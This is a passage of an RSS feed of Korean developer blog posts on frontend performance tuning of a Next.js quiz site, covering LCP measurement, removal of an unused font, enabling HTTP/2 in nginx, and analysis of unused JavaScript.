        const isNotEmptySolvedQuiz = solvedQuiz.length &gt; 0;

        return isNotEmptyQuizUrlList
            &amp;&amp;isNotEmptySolvedQuiz
            &amp;&amp;ArrayUtils.isEqualLength&lt;string&gt;(quizUrlList, solvedQuiz);
    }

}

</code></pre>
<p>위 클래스는 <code>QuizStorage</code>관련 메서드들만 사용하는 클래스로 사용하면 해당 클래스를 보았을 때, 목적성과 책임을 분명하게 알 수 있죠.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[프론트엔드 성능 최적화- Lighthouse-LCP- 필요치 않은 리소스 검토 후 제거]]></title>
            <link>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse-LCP-%ED%95%84%EC%9A%94%EC%B9%98-%EC%95%8A%EC%9D%80-%EB%A6%AC%EC%86%8C%EC%8A%A4-%EA%B2%80%ED%86%A0-%ED%9B%84-%EC%A0%9C%EA%B1%B0</link>
            <guid>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse-LCP-%ED%95%84%EC%9A%94%EC%B9%98-%EC%95%8A%EC%9D%80-%EB%A6%AC%EC%86%8C%EC%8A%A4-%EA%B2%80%ED%86%A0-%ED%9B%84-%EC%A0%9C%EA%B1%B0</guid>
            <pubDate>Mon, 16 Dec 2024 12:23:39 GMT</pubDate>
            <description><![CDATA[<p>이번에는 LCP 관련하여 살펴보겠습니다.</p>
<h1 id="lcp">LCP</h1>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/36b3a47e-6942-481a-9925-ad535c1d8dd3/image.png" alt=""></p>
<p>LCP는 <strong>최대 텍스트 또는 이미지가 표시되는 시간</strong>입니다.</p>
<h2 id="측정-기준">측정 기준</h2>
<p>측정 기준으로써는 2.5초 이내로 측정되어야 빠르다고 분류되네요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/9729ff7b-8dd0-4d74-a726-6b96d331cdeb/image.png" alt=""></p>
<h2 id="프로젝트의-lcp-항목">프로젝트의 LCP 항목</h2>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/d1d04613-639f-4a5b-8b8c-153449b0a60f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/90ed136d-76b3-49de-8add-011554127218/image.png" alt=""></p>
<p>Lighthouse 측정 결과,측정 페이지의 LCP는 위와 같이 h1 태그로 큼지막히 적힌 텍스트였습니다.</p>
<p>저의 경우,0.5초로써 적절한 LCP 측정 결과를 가지고 있는 것으로 확인되네요.</p>
<h2 id="주요-4단계">주요 4단계</h2>
<p>LCP가 보이기까지 4단계로 분류하고 있는데요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/6589cd14-540b-4108-81ba-c5f5e2e122ac/image.png" alt=""></p>
<p>설명은 위를 첨부합니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/90ed136d-76b3-49de-8add-011554127218/image.png" alt=""></p>
<p>위 분류 단계로 보았을 때, 저의 경우, TTFB, HTML 요청 응답 시간이 0.18초 그리고 LCP 렌더링 시간 0.29초이네요.</p>
<p>위 페이지의 경우, LCP가 일반 텍스트이기에 LCP를 위한 리소스가 별도로 없으니 로드 지연과 로드 시간이 0으로 확인할 수 있습니다.</p>
<p>(이전 FCP 최적화시, 렌더링 차단 리소스인 css를 인라인 형식으로 변경하니 0.1초를 줄인 결과를 얻었습니다.)</p>
<h2 id="어떻게-최적화">어떻게 최적화?</h2>
<p>결국엔 페이지를 로드하기 위해 요청하는 리소스가 적을수록 페이지 자체나 페이지 컨텐츠를 렌더링을 빨리 할 수 있다는 것은 FCP에서부터 알 수 있었는데요.</p>
<p>LCP 또한 같은 맥락으로 요청 리소스가 적을수록, 그에 대한 요청 시간을 절약할 수 있습니다.</p>
<p>때문에 필요하지 않는,사용하지 않는 리소스를 다시 한번 확인해보겠습니다</p>
<h3 id="필요치-않은-리소스-폰트-제거">필요치 않은 리소스-폰트 제거</h3>
<p>페이지를 요청하면 요청하는 리소스들은 다음과 같습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/c6c37983-79bb-4260-b874-e443cb7f7e50/image.png" alt=""></p>
<p>js 관련 파일은 next 빌드 파일의 결과물로써 확인해봤을 때, 꼭 필요한 스크립트이기 때문에 제외할 수 없습니다.</p>
<p>favicon 또한 필요하구요.</p>
<p>woff 파일 2개가 요청되는데요. </p>
<p>현재 하나의 font만 사용하고 있는데 프로젝트에서는 2개의 폰트를 요청하도록 코드에 설정되있습니다.</p>
<pre><code class="language-tsx">import ModalProvider from &quot;@/app/_components/modal/_provider/modalProvider&quot;;
import Header from &quot;@/app/_layout/header/header&quot;;
import type {Metadata} from &quot;next&quot;;
import {ViewTransitions} from &#39;next-view-transitions&#39;;
import localFont from &quot;next/font/local&quot;;
import &quot;./globals.css&quot;;
import Head from &quot;next/head&quot;;

const geistSans = localFont({
  src: &quot;./fonts/GeistVF.woff&quot;,
  variable: &quot;--font-geist-sans&quot;,
  weight: &quot;100 900&quot;,
});
const geistMono = localFont({
  src: &quot;./fonts/GeistMonoVF.woff&quot;,
  variable: &quot;--font-geist-mono&quot;,
  weight: &quot;100 900&quot;,
});

export const metadata: Metadata = {
  title: &quot;개발자들의 아지트, 코아&quot;,
  description: &quot;퀴즈를 풀고 함께 성장하세요.&quot;,
    generator: &#39;Next.js&#39;,
    applicationName: &#39;개발 퀴즈 앱&#39;,
    referrer: &#39;origin-when-cross-origin&#39;,
    keywords: [&#39;Next.js&#39;, &#39;퀴즈&#39;, &#39;quiz&#39;,&quot;코아&quot;,&quot;개발자&quot;,&quot;개발지식&quot;,&quot;개발자들을 위한 퀴즈&quot;,&quot;개발 퀴즈&quot;],
    authors: [{ name: &#39;jjalseu&#39;, url: &#39;https://github.com/BrightJun96&#39; }],
    creator: &#39;jjalseu&#39;,
    publisher: &#39;jjalseu&#39;,
    manifest: &#39;/site.json&#39;,
};

export default function RootLayout({
  children,
}: Readonly&lt;{
  children: React.ReactNode;
}&gt;) {
  return (
  &lt;ViewTransitions&gt;
    &lt;html lang=&quot;en&quot;&gt;
      &lt;body
        className={`${geistSans.className} ${geistMono.className} antialiased bg-gray-100`}
      &gt;
      &lt;Head&gt;
          &lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;/favicon-96x96.png&quot; sizes=&quot;96x96&quot;/&gt;
          &lt;link rel=&quot;icon&quot; type=&quot;image/svg+xml&quot; href=&quot;/favicon.svg&quot;/&gt;
          &lt;link rel=&quot;shortcut icon&quot; href=&quot;/favicon.ico&quot;/&gt;
          &lt;link rel=&quot;apple-touch-icon&quot; sizes=&quot;180x180&quot; href=&quot;/apple-touch-icon.png&quot;/&gt;
          &lt;meta name=&quot;apple-mobile-web-app-title&quot; content=&quot;코아&quot;/&gt;
          &lt;link rel=&quot;manifest&quot; href=&quot;/site.json&quot;/&gt;
      &lt;/Head&gt;
      &lt;Header/&gt;
      &lt;main
          className={&quot;w-full lg:h-[calc(100vh-80px)] md:h-[calc(100vh-60px)] sm:h-[calc(100vh-60px)] lg:flex lg:justify-center lg:items-center md:flex md:justify-center md:items-center sm:px-[10px] &quot;}&gt;
          &lt;ModalProvider&gt;
              {children}
          &lt;/ModalProvider&gt;
      &lt;/main&gt;
      &lt;/body&gt;
    &lt;/html&gt;
  &lt;/ViewTransitions&gt;
  );
}
</code></pre>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/1bc99355-d53c-444b-9b94-8cc4e54dce60/image.png" alt=""></p>
<p>현재 giestMono만 사용하는데 , giestSans에 대한 폰트도 같이 요청되고 있으니 사용하지 않는 폰트를 제거해보겠습니다.</p>
<p>giestSans를 사용하지 않는 이유는 css 우선순위 때문입니다. </p>
<pre><code class="language-html">    &lt;body
        className={`${geistSans.className} ${geistMono.className} antialiased bg-gray-100`}
      &gt;
&lt;/body&gt;</code></pre>
<p>className 순서를 확인해보면 geistSans가 첫번째,geistMono가 두번째로 적용됩니다.</p>
<p>두 폰트 클래스가 동일한 CSS 속성을 설정하고 있을 경우, 뒤에 선언된 클래스가 앞선 클래스의 속성을 덮어쓰게 됩니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/72bd6863-79a7-44dd-bd7f-d27387e1e45f/image.png" alt=""></p>
<p>font-face가 처음에는 giestSans로 적용되지만 마지막에는 giestMono로 적용되어 giestMono로 적용되는거죠.</p>
<p>제거해고 배포해본뒤, Lighthouse를 다시 측정해보겠습니다.</p>
<h2 id="재측정-결과">재측정 결과</h2>
<p>Lighthouse로 재측정해보았습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/deb9c3c7-c1a4-43ff-9c2d-20a29f1f79ad/image.png" alt=""></p>
<p>LCP가 0.1초 더 빨리 로드되었습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/e699a80a-52b7-41e7-a87f-2ab4b50357a3/image.png" alt=""></p>
<p>LCP의 단계별 로드 시간을 보면 렌더링 지연 부분에서 시간을 절약한 것을 확인할 수 있어요.</p>
<p>사용하지 않는 폰트 리소스를 제거하니 해당 요청을 하지 않아도 되니 그만큼 전체적인 시간을 줄일 수 있었던거죠.</p>
<p>(해당 폰트의 요청시간은 0.1초 정도 되었나보네요.)</p>
<h2 id="이외-측정-항목">이외 측정 항목</h2>
<p>위에서 언급하고 수정했던 부분외에 문서에서 권장하는 방법들을 보겠습니다.</p>
<p>저는 TTFB를 제외하고 렌더링 지연 단계에서 시간을 단축하는 것이 중요할 것 같은데요.</p>
<p><a href="https://web.dev/articles/optimize-lcp?hl=ko#2_eliminate_element_render_delay">web.dev 문서</a>에서 확인해보면 다음과 같은 작업들을 확인해보라 권장합니다.</p>
<ul>
<li>렌더링을 방해하는 스타일시트 줄이기 또는 인라인 처리</li>
<li>렌더링 차단 JavaScript 지연 또는 인라인 처리</li>
<li>서버 측 렌더링 사용</li>
<li>리소스 로드 시간 줄이기</li>
<li>리소스가 이동해야 하는 거리 줄이기</li>
<li>네트워크 대역폭 경합 줄이기</li>
</ul>
<p>위와 같은 항목들을 점검하라고 권장합니다.</p>
<p>위 부분에 대해서 처리할 수 있는 부분은 다 처리를 하거나 되어있어 현재로써는 LCP에 대해서는 최선의 최적화를 한 것 같네요.</p>
<h2 id="레퍼런스">레퍼런스</h2>
<ul>
<li><a href="https://web.dev/articles/optimize-lcp?hl=ko">https://web.dev/articles/optimize-lcp?hl=ko</a></li>
<li><a href="https://web.dev/articles/lcp?hl=ko">https://web.dev/articles/lcp?hl=ko</a></li>
<li><a href="https://developer.chrome.com/docs/lighthouse/performance/lighthouse-largest-contentful-paint?utm_source=lighthouse&amp;utm_medium=devtools&amp;hl=ko">https://developer.chrome.com/docs/lighthouse/performance/lighthouse-largest-contentful-paint?utm_source=lighthouse&amp;utm_medium=devtools&amp;hl=ko</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[프론트엔드 성능 최적화- Lighthouse-HTTP/1.1->HTTP/2 설정]]></title>
            <link>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse-Http2-%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse-Http2-%EC%84%A4%EC%A0%95</guid>
            <pubDate>Sat, 14 Dec 2024 08:00:26 GMT</pubDate>
            <description><![CDATA[<p>이번에는 Lighthouse 또 다른 진단항목 <strong>HTTP/2를 사용하세요</strong>을 살펴보겠습니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/2be5b15a-2af2-4e52-83b1-28a40efdb468/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/e0141e8e-5cb0-4e19-b7de-341652523050/image.png" alt=""></p>
<p>기존에는 모든 정적 파일들에 대한 통신은 HTTP/1.1로 하고 있었습니다.</p>
<p>권장 사항으로 HTTP/2로 사용하라고 하네요.</p>
<p>Lighthouse로 측정해보고 HTTP/1.1과 HTTP/2의 경우, 어떠한 차이가 나는지 비교해보겠습니다.</p>
<h3 id="http11일-경우lighthouse-측정-결과">HTTP/1.1일 경우,Lighthouse 측정 결과</h3>
<p>우선 기존 HTTP/1.1일 때, Lighthouse 측정한 결과와 성능탭과 네트워크 탭으로 확인한 결과입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/fc45c956-ab7e-44c7-806e-cb29b2a726ef/image.png" alt="">
<img src="https://velog.velcdn.com/images/kcj_dev96/post/7a94439e-394d-4133-9ad2-ef4b0b450771/image.png" alt=""></p>
<p>FCP 0.2초,LCP 0.5초 ,SI 0.2초로 측정됩니다.</p>
<p>성능 탭 측정시, 리소스 요청/응답 타이밍
<img src="https://velog.velcdn.com/images/kcj_dev96/post/3d1f5782-8c91-40b6-bcba-ab45be9c2b49/image.png" alt=""></p>
<p>네트워크 탭, 리소스 요청 지표
<img src="https://velog.velcdn.com/images/kcj_dev96/post/35c41440-21b4-42e5-9e78-86ce99bee875/image.png" alt=""></p>
<h2 id="http11과-http2-차이">HTTP/1.1과 HTTP/2 차이</h2>
<p>우선 HTTP/1.1과 HTTP/2에 대해서 이론적으로 살펴보겠습니다.</p>
<h3 id="http11">HTTP/1.1</h3>
<ul>
<li>요청/응답 방식
클라이언트가 요청(Request)을 보내면 서버가 응답(Response)을 보내는 구조.</li>
</ul>
<h4 id="한-연결당-하나의-요청-처리">한 연결당 하나의 요청 처리</h4>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/35c41440-21b4-42e5-9e78-86ce99bee875/image.png" alt="">
<strong>기본적으로 한 번에 한 요청만 처리할 수 있습니다.</strong></p>
<p>하지만 <strong>지속 연결</strong>을 통해 여러 리소스를 동일한 연결에서 처리할 수 있습니다.
<strong>Connection: keep-alive 헤더</strong>를 통해 하나의 TCP 연결을 유지하며 <strong>여러 리소스를 순차적으로 요청 및 응답</strong>받을 수 있습니다.</p>
<p>위 이미지처럼 동일한 연결 ID(예: 269946)에서 여러 리소스 요청이 이루어질 수 있습니다.</p>
<p> 위처럼 하나의 TCP 연결을 유지하며 여러 리소스를 요청가능하지만 <strong>응답은 요청 순서대로 도착해야 합니다.</strong> 예를 들어, 요청 1 → 요청 2 → 요청 3이 순서대로 보내졌다면, 응답 1 → 응답 2 → 응답 3이 순서대로 와야 합니다.</p>
<p>때문에 헤드 오브 라인 블로킹 (Head-of-Line Blocking)라는 문제가 발생합니다.</p>
<p><strong>헤드 오브 라인 블로킹 (Head-of-Line Blocking)이란 앞선 요청의 응답이 지연되면, 그 뒤에 있는 응답들도 대기</strong>하게 되는 현상을 말합니다.</p>
<p>위 네트워크 탭 폭포 컬럼에서 확인해보면 같은 연결 ID(예:269946)에 여러 리소스를 요청하긴 하지만 리소스 응답후에 요청을 하는 것을 확인할 수 있습니다.</p>
<h4 id="헤더-중복">헤더 중복</h4>
<p>각 요청마다 헤더에 같은 내용이 있더라도, 반복해서 같은 헤더의 내용을 보내게 됩니다.</p>
<h4 id="데이터-전송을-텍스트로">데이터 전송을 텍스트로</h4>
<p>HTTP/1.1은 텍스트 형식으로 요청과 응답 데이터를 전송합니다.</p>
<pre><code>GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: */*</code></pre><p>헤더는 문자열로 전송되기 때문에 공백, 대소문자, 줄바꿈 등 불필요한 문자가 많습니다.
또한 서버와 클라이언트는 이 텍스트를 <strong>파싱(분석)</strong>해서 의미를 해석해야 합니다.</p>
<h3 id="http2">HTTP/2</h3>
<h4 id="하나의-연결-여러-요청-응답-처리-멀티플렉싱multiplexing">하나의 연결, 여러 요청 응답 처리 멀티플렉싱(Multiplexing)</h4>
<p> HTTP/2는 하나의 TCP 연결에서 여러 요청과 응답을 동시에 처리할 수 있습니다.
 HTTP/1.1에서는 하나의 요청이 처리될 때까지 다음 요청이 대기해야 하는 Head-of-Line Blocking 문제가 있었지만, HTTP/2에서는 이를 해결하여 더 빠르게 리소스들을 요청 응답할 수 있습니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/3124c3ea-e662-43db-b157-2e4808e77168/image.png" alt=""></p>
<p>위는 HTTP/2로 변경한 뒤, 네트워크 탭에서 확인한 결과인데요.</p>
<p>연결 ID 컬럼을 확인해보면 <strong>같은 연결 ID</strong>(257741)로 리소스들을 병렬로 요청하는 것을 확인할 수 있습니다.HTTP/1.1과 달리 다른 리소스 응답 순서에 관계없이 응답이 오는 것을 확인할 수 있죠.</p>
<h4 id="헤더-압축">헤더 압축</h4>
<p>HTTP/2에서도 요청마다 헤더를 보내지만, HPACK 알고리즘을 통해 <strong>중복된 헤더를 효율적으로 압축</strong>하기 때문에 전송 크기가 매우 줄어듭니다.
즉, 중복 헤더를 전송하긴 하지만, <strong>중복된 부분은 다시 보내지 않도록 최적화</strong>됩니다.</p>
<p>HTTP/2는 HPACK이라는 헤더 압축 알고리즘을 사용합니다. HPACK은 클라이언트와 서버가 동기화된 헤더 테이블을 유지하면서 중복된 헤더를 재사용합니다.</p>
<blockquote>
<p>헤더 테이블은 클라이언트와 서버가 공유하는 메모리 공간입니다.
테이블에 이미 저장된 <strong>헤더 값은 인덱스 번호로 참조</strong>만 하면 됩니다.</p>
</blockquote>
<p>헤더가 중복되더라도, 전체 내용을 매번 보내는 것이 아니라</p>
<ul>
<li>새로운 헤더는 압축된 형태로 전송 후 헤더 테이블에 저장하고</li>
<li>중복된 헤더는 기존 <strong>헤더 테이블의 인덱스 값만</strong> 전송합니다.</li>
</ul>
<p>이를 통해, HTTP/1.1에서 매번 같은 헤더를 보내는 비효율을 해결합니다.</p>
<h4 id="데이터-전송-방식바이너리">데이터 전송 방식,바이너리</h4>
<p>HTTP/2는 데이터를 텍스트 기반(HTTP/1.1) 대신 바이너리 형식으로 전송합니다.
바이너리란 0과 1로 이루어진 코드입니다.
바이너리 데이터는 컴퓨터가 직접 이해하고 처리하기 때문에 텍스트보다 빠르게 해석됩니다.</p>
<h3 id="http2의-장점">HTTP/2의 장점</h3>
<ul>
<li>속도 개선: 멀티플렉싱과 헤더 압축 덕분에 페이지 로딩 속도 단축.</li>
<li>리소스 사용 절약: 하나의 TCP 연결로 다수의 요청 처리.</li>
<li>네트워크 효율성: 데이터 크기 감소와 연결 유지로 대역폭 절약.</li>
</ul>
<h3 id="정리표">정리표</h3>
<table>
<thead>
<tr>
<th><strong>특징</strong></th>
<th><strong>HTTP/1.1</strong></th>
<th><strong>HTTP/2</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>요청 처리 방식</strong></td>
<td>한 연결당 하나의 요청</td>
<td>한 연결에서 여러 요청 병렬 처리 (멀티플렉싱)</td>
</tr>
<tr>
<td><strong>헤더</strong></td>
<td>매 요청마다 전체 헤더 전송</td>
<td>헤더 압축 (HPACK)</td>
</tr>
<tr>
<td><strong>데이터 형식</strong></td>
<td>텍스트 기반</td>
<td>바이너리 기반</td>
</tr>
<tr>
<td><strong>연결 효율성</strong></td>
<td>여러 TCP 연결 사용 (비효율적)</td>
<td>하나의 TCP 연결 사용 (효율적)</td>
</tr>
<tr>
<td><strong>성능</strong></td>
<td>느림 (대기 시간 발생)</td>
<td>빠름 (병목 현상 감소)</td>
</tr>
</tbody></table>
<p>그렇다면 이제 HTTP/2를 저의 서버에 적용해주도록 하겠습니다.</p>
<h2 id="http2-적용">HTTP/2 적용</h2>
<p>설정하는 것은 매우 간단했는데요. 서버 인스턴스에 접속하여 nginx 설정만 살짝 변경해주면 끝입니다.</p>
<p>순서는 다음과 같습니다.</p>
<ol>
<li>우선 저의 ec2 인스턴스에 접속해줍니다.</li>
</ol>
<pre><code class="language-bash"># 인스턴스 접속
ssh -i pem.key ubuntu@~~~</code></pre>
<ol start="2">
<li>nginx 설정 파일을 열어줍니다.</li>
</ol>
<pre><code class="language-bash"># Nginx 설정 파일 편집
sudo vi /etc/nginx/sites-available/default
</code></pre>
<p><strong>Before</strong></p>
<pre><code>server{
...
    listen [::]:443 ssl ipv6only=on; # managed by Certbot
    listen 443 ssl ; # managed by Certbot
    ...
    }</code></pre><p>설정 코드 중 위와 같은 부분이 있습니다.</p>
<p>위 부분에서 <strong>http2</strong>를 넣어줍니다.</p>
<p><strong>After</strong></p>
<pre><code>server{
...
    listen [::]:443 ssl http2 ipv6only=on; # managed by Certbot
    listen 443 ssl http2; # managed by Certbot
    ...
    }</code></pre><ol start="3">
<li><p>설정 테스트(nginx -t) 후, 웹 서버를 재시작합니다</p>
<pre><code>sudo nginx -t
sudo systemctl restart nginx</code></pre></li>
<li><p>curl이나 브라우저 개발자 도구에서 HTTP/2가 활성화되었는지 확인합니다.</p>
</li>
</ol>
<pre><code>curl -I -k --http2 https://thedevlounge.com</code></pre><p><img src="https://velog.velcdn.com/images/kcj_dev96/post/2f376c49-8898-45fb-bfee-c868c251f7e2/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/58ebb884-d0ed-435f-b656-bcf399745429/image.png" alt=""></p>
<p>4-1. 브라우저에서 아직 http/1.1로 통신된다면 캐시를 한번 비워줍니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/bd268dd2-3f25-49aa-8678-2ab33471d826/image.png" alt=""></p>
<p>4-2. 브라우저에서 재확인해봅니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/b18e4cf8-245f-4a11-8644-2a8476437fd0/image.png" alt=""></p>
<h2 id="lighthouse-재측정">Lighthouse 재측정</h2>
<p>Lighthouse에서 재측정을 해보면 다음과 같이 HTTP/2 사용하라는 진단 항목이 없어진 것을 확인하고 통과한 감사에 있는 것을 확인할 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/31bb7824-bbb0-498a-8ad5-f82bdcd7fab0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/5237e4d4-5565-4b95-80f4-394d39df3bb9/image.png" alt="">
<img src="https://velog.velcdn.com/images/kcj_dev96/post/cb29e832-0964-43b5-a66c-20cb2d2e324b/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/e682a770-574c-43f1-8df8-5cc003569efa/image.png" alt="">
또한 LCP 시간도 이전(0.5) 대비  0.4초로 0.1초 감소한 것을 확인할 수 있었습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/3124c3ea-e662-43db-b157-2e4808e77168/image.png" alt=""></p>
<p>네트워크 탭에서 프로토콜 컬럼과 폭포(waterfall),연결 ID 컬럼들을 활성화시켜보면 HTTP/1.1과 달리 병렬로 요청 응답하는 것을 확인할 수 있고 프로토콜도 h1.1-&gt;h2로 변경된 것을 확인할 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/c56b2927-411c-43a2-a7ec-6df1e5348039/image.png" alt=""></p>
<p>이렇게 HTTP/2로 변경함으로써 Lighthouse에서 진단한 항목 <strong>HTTP/2를 사용하세요</strong> 부분을 해결할 수 있었고 <strong>리소스 요청 응답에 대한 시간을 단축할 수 있었습니다.</strong></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[프론트엔드 성능 최적화- Lighthouse-사용하지 않는 자바스크립트 줄이기]]></title>
            <link>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse-%EC%82%AC%EC%9A%A9%ED%95%98%EC%A7%80-%EC%95%8A%EB%8A%94-%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%A4%84%EC%9D%B4%EA%B8%B0</link>
            <guid>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse-%EC%82%AC%EC%9A%A9%ED%95%98%EC%A7%80-%EC%95%8A%EB%8A%94-%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%A4%84%EC%9D%B4%EA%B8%B0</guid>
            <pubDate>Sat, 14 Dec 2024 06:37:48 GMT</pubDate>
            <description><![CDATA[<p>이전에는 Lighthouse 측정 중 진당 항목에서 렌더링 차단 리소스 부분을 알아보고 제거해봤습니다.</p>
<p>오늘은 또 다른 진단항목인 <strong>사용하지 않는 자바스크립트 줄이기 항목</strong>에 대해 알아보겠습니다.</p>
<h2 id="사용하지-않는-자바스크립트-줄이기">사용하지 않는 자바스크립트 줄이기</h2>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/21cf03ad-b27c-4dd2-a2f0-21e12fb6ddee/image.png" alt=""></p>
<p>위 진단 항목에서 지정한 스크립트 <code>_next/static/chunks/517-1af0ce8b7f1e1cf7.js</code>를 확인해보면 총 전송 크기가 약 50KB 정도되고 그 중 24KB를 사용하지 않으니 필요치 않는 스크립트를 줄이라고 권장하고 있어요.</p>
<p><strong>dev tools 성능 탭 확인</strong>
<img src="https://velog.velcdn.com/images/kcj_dev96/post/51b406c0-0d16-4029-8271-10810a15df89/image.png" alt=""></p>
<p><strong>스크립트 크기는 렌더링 속도에 영향을 미칠 수 있습니다.</strong>
브라우저에서 스크립트를 다운로드, 파싱, 컴파일, 평가해야 페이지 <strong>렌더링에 필요한 다른 모든 작업을 진행</strong>할 수 있습니다. </p>
<p>때문에 스크립트 크기가 작을수록 렌더링이 더 빠르게 될 수 있겠죠.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/ae58ca38-d03c-4e3d-a379-9190e81eda35/image.png" alt=""></p>
<p>위 <strong>스크립트 평가라고 표시된 부분의 작업이 끝나야</strong> 뒤에 있는 레이아웃 즉, <strong>렌더링 작업이 시작</strong>되는데 스크립트 부분 작업이 빨리 완료되야 렌더링 작업을 시작할 수 있겠죠.</p>
<h2 id="그렇다면-저-스크립트의-정체는-무엇일까">그렇다면 저 스크립트의 정체는 무엇일까?</h2>
<p>그렇다면 위에서 언급한<code>_next/static/chunks/517-1af0ce8b7f1e1cf7.js</code> 이 스크립트의 정체는 무엇일까요?</p>
<blockquote>
<p>next/static 폴더는 next 빌드 결과물로써 앱에서 사용될 이미지, 폰트, CSS, 자바스크립트와 같은 정적 파일들로 구성돼 있습니다.</p>
</blockquote>
<p>이를 위해 <code>@next/bundle-analyzer</code>를 통해 해당 스크립트를 추측해보도록 하겠습니다.</p>
<p>이전 글에서 간단히 사용법은 언급하였으니 바로 번들 트리를 확인해보도록 하겠습니다.</p>
<p>아래 번들 트리는 위 진단항목에서 언급된 스크립트에 대한 번들 트리입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/de7544ff-b636-4f2b-b28a-768fafc59e23/image.png" alt=""></p>
<p>node_modules가 대부분의 스크립트 크기를 차지하는 것으로 보이는데요.
node_modules에는 프로젝트에서 사용하는 라이브러리, 프레임워크 등의 모듈이 저장됩니다.</p>
<p>즉, 위 스크립트는 라이브러리,프레임워크 관련 스크립트라는 것이죠.</p>
<p>router-reducer,app-router,dynamic-rendering 등의 파일들로 추측해보았을 때, 위 스크립트는 <strong>Nextjs 관련 프레임워크 스크립트</strong>라는 것을 확인할 수 있습니다.</p>
<blockquote>
<p>router-reducer.js를 next 오픈소스에서 확인할 수 있어요. <a href="https://github.com/vercel/next.js/blob/canary/packages/next/src/client/components/router-reducer/router-reducer.ts">https://github.com/vercel/next.js/blob/canary/packages/next/src/client/components/router-reducer/router-reducer.ts</a></p>
</blockquote>
<p>즉, Nextjs를 사용하면 필수적으로 사용해야하는 스크립트라는 것이죠.</p>
<blockquote>
<p>모든 페이지에서 위 스크립트를 요청하여 사용하는 것으로 확인했습니다.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/21cf03ad-b27c-4dd2-a2f0-21e12fb6ddee/image.png" alt=""></p>
<p>하지만 해당 페이지에서 위 스크립트에 대한 Nextjs의 모든 기능을 사용하지는 않으니 사용하지 않는 스크립트가 많을 것입니다.</p>
<p>때문에 그만큼 사용하지 않는 스크립트로 진단이 된 것이구요.</p>
<p>그렇기에 Lighthouse에서 진단한 위 스크립트 파일은 결국엔 줄일 수 없는 스크립트 파일이라 말할 수 있을 것 같습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[프론트엔드 성능 최적화- Lighthouse-FCP- FCP 탐색과 렌더링 차단 리소스 제거]]></title>
            <link>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse</link>
            <guid>https://velog.io/@kcj_dev96/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-Lighthouse</guid>
            <pubDate>Fri, 13 Dec 2024 17:32:24 GMT</pubDate>
            <description><![CDATA[<p>퀴즈 프로젝트를 일단락 마무리하여 이제 성능 최적화 작업을 해보려합니다.</p>
<p>여태까지 성능최적화 작업을 해보지 않아 무엇부터 해야할지 갈피를 잡지 못했는데요.</p>
